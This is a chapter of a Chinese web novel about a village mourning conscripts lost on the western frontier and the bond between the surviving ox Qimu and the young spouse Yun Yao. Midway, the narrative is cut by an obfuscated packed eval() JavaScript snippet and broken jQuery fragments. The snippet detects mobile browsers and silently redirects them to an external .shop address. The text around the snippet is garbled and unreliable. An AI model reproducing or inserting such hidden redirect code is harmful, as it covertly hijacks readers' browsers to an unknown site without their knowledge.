肇历二百七十二年，六月二十四这日，这本是一个很普通的日子，直到村口玩闹的孩童赶回家中，说是有头牛拉了个死人进村。
牛的特征被孩子传的绘声绘色，这消息瞬间在林家村遍地开花，不多时，就见着家家户户都有人往出跑。
牛回来了，那人也应该都回来了。
可牛背上的人又是谁家的？
所有人都边跑边祈求，只要不是自家的，是谁都行。
常年守在祠堂的拐子爷第一个赶到，那牛，果真是多年前随村中壮丁一同去西境的那头牛。
他原是村里的耕地牛，多年前同村里壮丁一同被某位将军征召入伍，用以拉军资。
拐子爷从来都是孤身一人，对着牛背上的人身份无恻隐之心，他先是探了探那人的鼻息，只一阵凉意。
连身子都僵了。
这人一身枣红色的军制服被血染黑，刀伤剑伤遍布全身，很难想象他是如何拖着这副身体攀上牛背的。
与此同时，跑得快的孩子已经跑出去两里地，却不见当年征召入伍的其他人。
“人呢，他们人呢？”
“拐子叔，牛背上的是谁？”
“不不不，看这身形不像是我家广安。”
“也不是我家小武。”
大家说的话虽不相同，但都颤着声。
在众人的注视下，拐子爷将人放了下来，那张同是被血污遮盖了的脸，已经完全没了活人的颜色。
大家看到这人的脸，悬着的心落了一半。
可拐子爷却眉目紧锁，而他后面的动作，更是将所有人的祈望扔进了深渊。
他将这人身上的包袱卸了下来。
包袱绑得异常结实，像是裹着真金白银，生怕会漏点儿出来。
可里头却只是一堆杂物。
有洗旧的汗巾，碎掉的发冠，更有半截带血的衣袖……
当第一个认出包袱中有自家儿子之物的声音响起，林家村顿时陷入一片哭号声中。
拐子爷强装镇定地从包袱中拿起唯一值钱的东西——半吊名钱。
那是肇国将士在征召入伍的就会领到的、唯一能辨别身份的物件。
上面篆刻着持有者的名字，这些名字都是拐子爷自小看大的，更有自己亲自取的，拐子爷错愕的两行泪不及掉落，便找来湿帕子替此人擦去脸上血污。
待看清后，老人家摇着头，心底说不上是痛心还是失望。
他指着包袱里的杂碎念叨着道：“这就你说的一定把他们带回来，可你都带回来了些什么啊……”
林村所有的壮丁，去时鲜活，回来时竟连块血肉都不见。
在接受了噩耗之后，林家村的百姓将所有人的遗物都葬在一起，立了衣冠冢，就在林家祠堂后面。
自那以后，每到六月二十四，便是林家村家家户户的大祭之日。
当银花婶将这些陈年往事缓缓说完，云杳也是双目攒着泪光。
“当真一个都没回来？”他哑着声问。
银花婶触及心底伤心事，也默默抹了把泪，然后指了指七亩感叹：“也就七亩回来了。”
云杳顺着银花婶的目光看去，只见七亩昂着头立在那里，夜色中两只眼睛灼灼生辉。
他看着夜色，看向最远处，一头牛罢了，竟也给人一种心事重重的样子。
云杳走上前去，双手托住圈在七亩脖颈间的名钱，他不认识几个字儿，但他知道他名义上的丈夫就在这里面。
然面，云杳心中的悲切并非来自那位素未蒙面的丈夫，而是想到了自己的父亲。
当年官府只发来一纸文书告知父亲阵亡的噩耗，倘若也能有像这的零星半点遗物，也不至于落不下念想。
“七亩，你也去过西境，那你有见过我父亲吗？”
云杳捧着七亩的脸，与他对视，并且开始在记忆中翻找父亲的模样。
“我爹他生得高大，看着也凶，可他每次对我说话都是细声细语，生怕吓着我。”说着又指了指自己的鼻尖，“在这个地方，有颗很大的黑痣，七亩，你有见过他吗？”
“我爹他叫云石柱。”
七亩被迫与云杳对视，却没有聚焦。
西境的人太多了，死的活的残的，所有人的脸都交错在一起，他怎么可能从记忆海里将云杳的爹寻出来。
七亩张了张嘴，却也只是发出一声冗长的低啸。
“我父亲他是怎么死的？那个时候……他会不会很痛？”
七亩垂下眼眸，不敢再看他。
他以往面对过太多这样的眼神，人们都渴望从他这个遗留下的牛身上得到有关于亲人的只言片语，七亩有时候庆幸自己只是一头牛，不用回答这些让他也不愿回顾的过去。
但此刻，他还是想做点什么，来安慰一下这颗看起来快要碎掉的小竹笋。
他摇了摇头。
肇国的将士从不怕痛。
“是没见过吗？”
“也是，西境的人那么多，你怎么可能每一个都记得。”
七亩垂下眼睑，云杳的不再追问让他如释重负。
抹了半天泪的银花婶前来解围，“好孩子，天都黑透了，咱们该回家吃饭了。”
这会儿云杳也从刚才的情绪中抽离而出，他摸了摸七亩的牛角，说道：“娘，你先带大哥回去吃，七亩一到夜里眼神就不好，我得带着他去后山吃些草。”
云杳家剩余的地今天是耕完了，可七亩的活儿还没做完，不吃饱哪儿有力气。
因着三伏天太阳毒辣，白天下地容易中暑，有一部分人家被排到了夜里耕地，不过夜间需要多出来一个领路的，必竟谁都知道七亩一到夜里就看不清路。
得知七亩夜里还有地要耕，云杳有些不忍心，便借着月色割了一大捆青草让七亩吃。
并且还画饼道：“我知道你好那一口醪糟，等那块地的花生收上来了，我去打些米回来给你酿二十斤的，让你一次吃个够。”
听见有醪糟吃，嘴里的嫩草都没了滋味。
七亩表情复杂的看着云杳，心想自己虽然和这小哥儿不熟，但这一两次的接触下来，自觉对方并不像是一个爱说假话的。
那二十斤醪糟大抵能吃到。
第二天一早，干了整宿活儿的七亩要下水塘洗洗身上的土，然后再回祠堂睡觉，在路过银花婶的地时，见穿着青布衫的小竹笋正在下花生种。
瘦小的身躯弯成小小一坨，旁边站着的傻大个正拎着水桶点水。
云杳的声音一直有传过来，还是那自说自话的调调。
七亩嘴角一扬，还未下水，一宿积累的疲惫就已消散大半。
*
日子一下过到了林家村大祭前夕，为了二十四那个大日子，村里太半人家都要去赶个集。
林家村另有一头牛，耕地差了七亩老远，不过每到要去赶急的人多了，都是由这头牛拴了车，将大家拉到集市上去。
可今天，日头正好的时候七亩没在祠堂睡觉，而是来了村头集合点。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309233|152290||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走到那头比自己矮一大截的牛跟前，将其给哄走了。
“嗯？七亩你这是啥意思？”
准备套车的林三被七亩闹得没了主意。
七亩懒得跟他们打哑谜，自己钻进了绳套里。
“哦哦哦，你意思是今天你来拉车啊，怎么着，在村里待着闷了，也想去集市上转转？”
同样等着上车的人有些不耐烦道：“七亩让你套你就套，废话怎么那么多，今天事儿还多呢！”
“行行行，七亩是林家村的老大，他要溜达谁还能不允了。”
林三一边絮叨一边麻利的套好绳索，七亩站在最前头，身板子都不带动的，给了一车人满满的安全感。
这次坐牛车去集市的人大略有十个，好在套的是大板车，等人都坐上去后位置还有剩余。
林三坐上车头，吆喝道：“走了七亩。”
七亩回过头看了看空着的位置，动也不动。
“这日头都快出全乎了，该来的都来了，车子坐不满就坐不满呗，咱们走咱们的。”林三也不知什么情况，反正就是一通劝。
可七亩就像是打定了主意一般，只干站着，后面叽叽喳喳的全然听不见。
终于，后面传来一阵细碎的脚步声，众人回过头一看，脸还有些生，“这是……银花家的广安夫郎？”
“可不就是，大傻子这不成天跟在后面嘛，不知道的人还要以为他俩是两口子呢？”
妇女们围坐在一堆，哪儿有什么好话冒出来。
待云杳和林广定到了牛车前，大家不约而同的噤声，同时还换上一副笑脸：“广安夫郎你也去赶集呢？”
云杳一路小跑有些气喘，“是呢婶子，娘让我去集市上买点东西回来，紧赶慢赶还是来迟了，让你们等久了哈！”
听见这话，七亩略有些不满的回过头看向他。
要知道等他的人可是自己。
倘若不是头一天听见他和银花婶聊天说要来赶集，他至于巴巴的过来轰走了另外那头牛？
这小竹笋多多少少是有些不知好歹了。
“哪儿是我们等的啊，是七亩，自己套了绳，还紧赖着不走，我说广安夫郎，你晚上可得好好喂喂他，要不我们早走出二里地去了。”
经此一说，云杳才发现今天拉车的是七亩，表情是又惊又喜，于是赶忙上了车。
“咱走吧，七亩，一会儿我去集市上给你买好吃的。”
任众人如何劝说，七亩都没动一下，可云杳的话一开口，七亩便掸了掸蹄子，拉着牛车动了起来。
看着全车的人一脸错愕。
他们宁肯相信是凑巧，也不愿承认自己的地位还不如一个刚进林家村小夫郎。
女人的心思向来不轻易表露出来，只一味的捏着酸道：“要说咱们林家村，也就广安夫郎生得俊，这可不，连头牛都被迷得五迷三道的。”
“说来也是，什么时候见七亩这么听谁的话了，他自己的主意大了去呢！”
云杳听了一会儿，可算是听出含沙射影里的另一层意思了。
他才来林家村，对方是长辈，也不好直接回怼，只能捧着说道：“七亩向来替林家村的人着想，见车上还有位置，生怕像我这样容易睡过头的人耽误事儿，这才特意等的，这要是换成婶子来迟了，他更是要等，怕是日上三竿都要等到你的。”
这一番话既给七亩戴了高帽，又给了婶子面子，女人们要再往下用话刁难云杳怕是不能了。
可七亩却听得起了鸡皮疙瘩。